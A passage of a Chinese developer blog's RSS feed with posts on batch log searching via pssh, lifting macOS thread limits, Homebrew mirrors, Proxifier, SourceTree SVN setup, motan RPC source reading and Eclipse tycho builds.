&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/hosts.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  usage
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;pssh -h &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; -P \&amp;#34;find /home/admin/logs/ -name &amp;#39;*.log&amp;#39;|xargs grep &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; --col\&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;luit -encoding &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存这个脚本为pssh.sh,然后用法如上.之后就可以通过 pssh.sh -f host.txt -c gbk -k keyword来批量查询了&lt;/p&gt;</description>
    </item>
    <item>
      <title>修改mac单应用创建线程的限制</title>
      <link>http://blog.leaver.me/2016/08/14/%E4%BF%AE%E6%94%B9mac%E5%8D%95%E5%BA%94%E7%94%A8%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E7%9A%84%E9%99%90%E5%88%B6/</link>
      <pubDate>Sun, 14 Aug 2016 17:33:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/14/%E4%BF%AE%E6%94%B9mac%E5%8D%95%E5%BA%94%E7%94%A8%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E7%9A%84%E9%99%90%E5%88%B6/</guid>
      <description>&lt;p&gt;最近遇到一个问题,公司的 java 服务端应用,启动后,通过 &lt;code&gt;jstack pid |grep nid -c&lt;/code&gt;,可以看到大概创建了2044个线程,然后此时应用就会报错,提示无法创建更多线程, jvm 开始抛错.
查看 mac 的内存,发现还是够的.因为一般认为可创建的线程数=(总内存-其他占用的内存)/线程大小,所以内存够的情况下,应该是能创建的.&lt;/p&gt;
&lt;p&gt;google 一圈,发现mac 对单线程创建的线程是有限制的.理由应该是为了保持系统稳定性.主要有两个参数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sysctl kern.num_threads&lt;/code&gt; 这个可以看一下,说明了系统能够创建的总共的线程,单个应用能够创建的线程是&lt;code&gt;sysctl kern.num_taskthreads&lt;/code&gt;,第二个参数就是导致我们创建不出来更多线程的原因,
因为2044+一些 gc 的线程,基本上刚刚达到这个极限.&lt;/p&gt;
&lt;p&gt;那么要么改程序,要么改参数.改程序这是不可能的..因为只有 mac 会有这个问题..该参数尝试通过&lt;code&gt;sudo sysctl -w kern.num_taskthreads=4096&lt;/code&gt;,修改,会发现提示是只读属性.google 了一圈,无解.&lt;/p&gt;
&lt;p&gt;最终意外解决..&lt;/p&gt;
&lt;p&gt;参考这里&lt;a href=&#34;https://support.apple.com/en-us/HT202528&#34;&gt;开启性能模式&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nvram boot-args&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo nvram boot-args=&amp;quot;serverperfmode=1 $(nvram boot-args 2&amp;gt;/dev/null | cut -f 2-)&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重启&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果想要恢复的话: &lt;code&gt;sudo nvram boot-args=&amp;quot;$(nvram boot-args 2&amp;gt;/dev/null | sed -e $&#39;s/boot-args\t//;s/serverperfmode=1//&#39;)&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当时各种搜索,加打apple 支持电话.无解.搜索意外看到这个说明,说开启之后,可以支持更多服务应用之类的.猜测应该会改这个值..果然..改完之后,直接重启,这个限制会变成5000..完美解决..理论上,应该通过继续修改这个参数
是可以自定义这个值的.不过还没尝试.&lt;/p&gt;</description>
    </item>
    <item>
      <title>homebrew缓慢解决方案</title>
      <link>http://blog.leaver.me/2016/08/07/homebrew%E7%BC%93%E6%85%A2%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</link>
      <pubDate>Sun, 07 Aug 2016 17:29:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/07/homebrew%E7%BC%93%E6%85%A2%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</guid>
      <description>&lt;p&gt;mac 下使用 homebrew 作为包管理工具是非常好的. brew 用来安装非 gui 界面的程序. cask 用来安装 gui 界面的程序.但是这两个是使用的源在国外.所以你懂得..&lt;/p&gt;
&lt;p&gt;1.替换 homebrew 默认源&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cd /usr/local
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git remote set-url origin git://mirrors.ustc.edu.cn/brew.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里注意记一下以前的默认源.防止以后想换回来..&lt;/p&gt;
&lt;p&gt;默认源是
&lt;code&gt;https://github.com/Homebrew/brew&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.替换homebrew bottles默认源&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;~/.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bashrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的.bashrc根据自己的情况替换.我是 zsh,就写到.zshrc 文件.&lt;/p&gt;</description>
    </item>
    <item>
      <title>mac使用全局代理</title>
      <link>http://blog.leaver.me/2016/08/07/mac%E4%BD%BF%E7%94%A8%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86/</link>
      <pubDate>Sun, 07 Aug 2016 17:18:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/07/mac%E4%BD%BF%E7%94%A8%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86/</guid>
      <description>&lt;p&gt;自从入了 hexo 的坑.这玩意折腾的我不要不要的.各种诡异的问题,不过也顺便搞了搞其他的东西.看了很多相关的代理设置方案.最终沿用 windows 下的策略.最简单高效.&lt;/p&gt;
&lt;p&gt;mac 下的 ss 代理是只能设置浏览器代理的.对于一些不走 http 代理的.比如终端.或者其他软件.那么就需要将 ss 代理指定给其他软件或者终端使用.&lt;/p&gt;
&lt;p&gt;1.有一个 ss 代理
2.安装proxifier,直接 &lt;code&gt;brew cask install proxifier&lt;/code&gt;
3.安装好之后,添加Proxies 里面,把 ssh 的信息添加进入
4.添加 Rules, 我为了简单..直接将default 设置成走代理.这样,就啥也不用管了.等 hexo deploy 结束.再关闭proxifier 就行了.&lt;/p&gt;
&lt;p&gt;实际使用中.可以先开全局代理.然后知道哪个程序走了代理.需要走代理.然后单独设置即可.软件很好使用.&lt;/p&gt;
&lt;p&gt;不得不说, wall 越来越令人难受与不安.&lt;/p&gt;</description>
    </item>
    <item>
      <title>sourceTree设置使用svn</title>
      <link>http://blog.leaver.me/2016/08/06/sourcetree%E8%AE%BE%E7%BD%AE%E4%BD%BF%E7%94%A8svn/</link>
      <pubDate>Sat, 06 Aug 2016 09:28:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/06/sourcetree%E8%AE%BE%E7%BD%AE%E4%BD%BF%E7%94%A8svn/</guid>
      <description>&lt;p&gt;mac 下面不想安装多个 GUI 的 svn 客户端.所以使用 sourceTree 来做.&lt;/p&gt;
&lt;p&gt;sourceTree 对于 svn 只能从远程 url 拷贝.不能从本地来.所以在 gui 页面进行添加&lt;/p&gt;
&lt;p&gt;但是会发现报错&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Can&amp;#39;t locate SVN/Core.pm in @INC (you may need to install the SVN::Core module) (@INC contains:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;网上搜了一下.原因是 Perl 升级后 版本路径不对.于是执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; sudo ln -s /Applications/Xcode.app/Contents/Developer/Library/Perl/5.18/darwin-thread-multi-2level/SVN /System/Library/Perl/Extras/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; sudo ln -s /Applications/Xcode.app/Contents/Developer/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN/ /System/Library/Perl/Extras/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里就是创建两个软连接.以便 sourceTree 识别.这里注意.如果你装了 Xcode 的 CommandLineTools, 而不是完整的 Xcode.
那么你的目录是没有这个原始文件的所以需要执行的&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/SVN /System/Library/Perl/Extras/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN/ /System/Library/Perl/Extras/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但是执行的时候还是会报错.因为新版本的 mac系统.已经不允许在 System 目录写文件了.除非关闭安全选项.这就得不偿失了.&lt;/p&gt;
&lt;p&gt;但是从stackexchange说法看.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkdir /Library/Perl/5.18/auto
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/SVN /Library/Perl/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN /Library/Perl/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个方法也是可以的.就是使用另一个目录作为软连接的目录.测试通过.同理,上面的真实目录根据你装的是 Xcode 还是 CommandLineTools 来替换.记录备用.&lt;/p&gt;
&lt;p&gt;参考:http://apple.stackexchange.com/questions/208300/issue-with-creating-a-symbolic-link-inside-system-folder&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-客户端服务引用</title>
      <link>http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/</link>
      <pubDate>Tue, 31 May 2016 20:00:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/</guid>
      <description>&lt;p&gt;一旦服务器启动,服务开始提供,并且在配置中心注册了(配置中心可以是本地的地址,也可以是zk,也可以是其他的实现),那么客户端就要开始调用了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/images/service_ref.png&#34;&gt;点击看大图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;服务引用&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/service_ref.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;服务引用 RefererConfig.getRef()&lt;/p&gt;
&lt;p&gt;先是获取集群支持(先忽略,主要是配置中心相关的)&lt;/p&gt;
&lt;p&gt;configHandler.refer(interfaceClass, clusters, proxy)
开始获取接口代理&lt;/p&gt;
&lt;p&gt;1.一旦知道接口名,Class.forName加载接口类,就开始通过proxy工厂来为服务端接口创建代理了&lt;/p&gt;
&lt;p&gt;2.jdk的Proxy类,直接来创建代理.同时代理要传入RefererInvocationHandler
这个类可以看错是真正的stub,封装了rpc调用请求.当在客户端获取到服务接口的bean的时候,实际上调用过程被这个类拦截,进行封装发送rpc&lt;/p&gt;
&lt;p&gt;1.当接口被调用的时候,这个拦截器险根据拦截到的请求构造一个rpc请求&lt;/p&gt;
&lt;p&gt;2.这里就会存在一个策略.该调用哪个,以FailoverHaStrategy为例&lt;/p&gt;
&lt;p&gt;1.选择一个服务提供方&lt;/p&gt;
&lt;p&gt;1.如果是jvm服务,那么直接从本地的服务map中取出一个调用就行&lt;/p&gt;
&lt;p&gt;2.如果是真正的远程服务,这时候就进入nettyClient部分了&lt;/p&gt;
&lt;p&gt;把请求向netty的Channel中写就行了.服务端会从Channel中取进行处理,然后放回来.这样客户端就拿到结果了&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-服务的发布</title>
      <link>http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/</link>
      <pubDate>Mon, 30 May 2016 20:42:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/</guid>
      <description>&lt;p&gt;这一篇继续从这个demo开始,分析一下这个服务是怎么发布出去的.关键的代码从&lt;code&gt;motanDemoService.export();&lt;/code&gt;开始.&lt;/p&gt;
&lt;p&gt;一图胜千言.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/images/serviceConfig_export.png&#34;&gt;点击看大图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;服务发布&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/serviceConfig_export.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;服务发布ServiceConfig.export()&lt;/p&gt;
&lt;p&gt;1.加载有的配置中心url列表/新建&lt;/p&gt;
&lt;p&gt;2.doExport(ProtocolConfig,port,registryURLs) //配置中心地址列表&lt;/p&gt;
&lt;p&gt;2.1导出的时候,会先判断是否存在.其实就是根据协议名,ip,接口,参数来生成一个唯一key.&lt;/p&gt;
&lt;p&gt;2.2ConfigHandler.export(Class&lt;T&gt; interfaceClass, T ref, List&lt;URL&gt; registryUrls) //接口.实现.配置中心url列表&lt;/p&gt;
&lt;p&gt;2.2.1.根据协议名创建协议,这里ProtocolFilterDecorator&lt;/p&gt;
&lt;p&gt;2.2.2.根据接口,实现类,serviceUrl,构造一个Provider,用来提供服务&lt;/p&gt;
&lt;p&gt;2.2.3.使用协议进行导出Provider,  export(Provider&lt;T&gt; provider, URL url)&lt;/p&gt;
&lt;p&gt;2.2.3.1创建一个Exporter&lt;/p&gt;
&lt;p&gt;2.2.3.1.1.创建的时候会将服务提供方Provider和url有个映射关系,这样当一个url请求过来的时候,就知道改调用谁了.ProviderMessageRouter,讲一个请求路由注册到server上,同时包装了一个心跳包&lt;/p&gt;
&lt;p&gt;2.2.3.2进行导出 导出就是一个服务器打开的过程/server.open();&lt;/p&gt;
&lt;p&gt;2.2.3.2.1进入nettyServer初始化,主要就是添加handler,编码解码.和一个rpc处理的
相当于一个请求过来的时候,先进行解码,然后调用业务处理handler进行处理,处理完成后,进行编码,然后返回给客户端&lt;/p&gt;
&lt;p&gt;服务器启动后,相当于这个服务就发布了&lt;/p&gt;
&lt;p&gt;2.2.4.注册register(registryUrls, serviceUrl) //这一步就是将serviceUrl,向对应的jvm/rpc服务中心注册url,本地注册就是LocalRegistryService类里一个map..zk的.就是向zk写node.等等&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-入门和运行demo</title>
      <link>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/</link>
      <pubDate>Sun, 29 May 2016 15:13:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/</guid>
      <description>&lt;p&gt;工作中一直在使用rpc,但是只是对简单的原理比较熟悉.最近看到有motan的一个介绍,代码拉下来看了看,除了测试用例比较少之外.其他还是不错的,和阿里的rpc框架比起来,还是弱了一些,好处就是方便用来学习.
&lt;a href=&#34;https://github.com/weibocom/motan&#34;&gt;motan&lt;/a&gt; 是weibo的一个rpc框架,据说已经在线上使用了.&lt;/p&gt;
&lt;p&gt;在学习rpc框架之前,建议看一个hello world级别的文章&lt;a href=&#34;http://javatar.iteye.com/blog/1123915&#34;&gt;RPC框架几行代码就够了&lt;/a&gt;,写的非常好,看完基本就知道rpc的核心了.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cs.rutgers.edu/~pxk/417/notes/08-rpc.html&#34;&gt;Remote Procedure Calls&lt;/a&gt;中最关键的那个图,就能说明了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;rpc的flow&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/rpc-flow.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;本地client调用本地client stub,stub对消息进行封装,通过socket发送,服务端的server stub接收到,然后解包,将里面传递的方法名,方法参数.等等信息,识别出来,调用服务端对应的服务,然后得到结果后,又通过socket返回,本地client又进行解包.就行了.&lt;/p&gt;
&lt;p&gt;这里面会涉及到,封装,封装就是吧对象序列化,这样才能在网络中传递.&lt;/p&gt;
&lt;p&gt;而生产环境的rpc框架需要考虑的有:&lt;/p&gt;
&lt;p&gt;stub怎么生成,序列化怎么最高效,如何统一不同机器之前的调用,(大小端的机器等),如何识别该调用哪个机器,负载均衡.socket通信.等等.&lt;/p&gt;
&lt;p&gt;先跑个demo熟悉一下.&lt;/p&gt;
&lt;p&gt;下载motan源码,导入ide,然后先启动服务端,MotanApiExportDemo,这个类,然后控制台会打出服务已经启动.然后运行MotanApiClientDemo,会发现一个控制台打出motan,服务端打出hello motan.就说明跑起来了.&lt;/p&gt;
&lt;p&gt;如果控制台日志没有.修改对应resources下面的log4j.properties文件.首行添加&lt;code&gt;log4j.rootLogger=debug,stdout&lt;/code&gt; ,会设置默认日志级别为debug,并且在控制台输出.
或者直接fork&lt;a href=&#34;https://github.com/leizhiyuan/motan&#34;&gt;我这个&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;后面会逐步分析,希望坚持下来.&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读系列目录</title>
      <link>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</link>
      <pubDate>Sun, 29 May 2016 15:13:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</guid>
      <description>&lt;p&gt;本系列希望可以吧motan的源码通读一遍.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/&#34;&gt;motan源码阅读-入门和运行demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/&#34;&gt;motan源码阅读-服务的发布&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/&#34;&gt;motan源码阅读-客户端服务引用&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>eclipse插件开发-tycho使用</title>
      <link>http://blog.leaver.me/2016/05/21/eclipse%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91-tycho%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Sat, 21 May 2016 18:55:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/21/eclipse%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91-tycho%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;不说废话，直接上。本文主要包括tycho的使用，版本号的自动更新。&lt;/p&gt;
&lt;p&gt;eclipse插件开发中，依赖的管理是个问题。如果采用常规的搞个lib目录，然后加到MF文件中。一旦依赖越来越多。或者要更换版本号就变得非常麻烦。所以要用到tycho&lt;/p&gt;
&lt;p&gt;首先说明一下目录结构。一个parent的maven工程，一个plugin工程，。两个features。一个是deps的。一个是plugin的，这个依赖deps是独立的mvn项目。可以先不用管。一个deps依赖工程（这个依赖工程独立）。
在主pom下。&lt;/p&gt;
&lt;p&gt;步骤如下。&lt;/p&gt;
&lt;p&gt;关于依赖部分&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个普通的mvn工程,比如deps。打包类型写成&lt;code&gt;&amp;lt;packaging&amp;gt;bundle&amp;lt;/packaging&amp;gt;&lt;/code&gt;,同时在pom.xml中添加build部分&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugins&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;groupId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;org&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;apache&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;felix&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;groupId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
